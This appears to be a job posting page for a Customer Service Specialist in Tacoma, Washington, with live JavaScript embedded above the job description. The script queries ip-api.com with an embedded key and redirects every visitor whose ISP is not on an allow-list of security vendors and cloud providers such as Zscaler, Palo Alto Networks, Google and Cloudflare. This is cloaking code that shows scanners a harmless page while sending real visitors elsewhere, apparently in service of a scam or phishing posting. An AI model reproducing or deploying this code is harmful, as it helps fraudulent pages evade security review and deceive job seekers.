Customer Service Specialist

Customer Service Specialist

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Service Specialist in Tacoma, WA to provide exceptional support to our clients and ensure a positive experience.

Responsibilities include:

  • Assist customers via phone, email, and chat, addressing inquiries and resolving issues promptly
  • Maintain accurate records of customer interactions and transactions
  • Collaborate with team members to improve service processes and customer satisfaction
  • Provide product and service information to clients, guiding them to suitable solutions
  • Follow up with customers to ensure their needs are met and issues are resolved

Skills needed:

  • Excellent communication and interpersonal skills
  • Problem-solving abilities and a customer-first attitude
  • Ability to handle multiple tasks efficiently in a fast-paced environment
  • Strong organizational skills and attention to detail

Benefits include:

  • Competitive salary and performance bonuses
  • Health, dental, and vision insurance
  • Paid time off and holidays
  • Opportunities for career growth and development
Emploment Location
Tacoma, Washington

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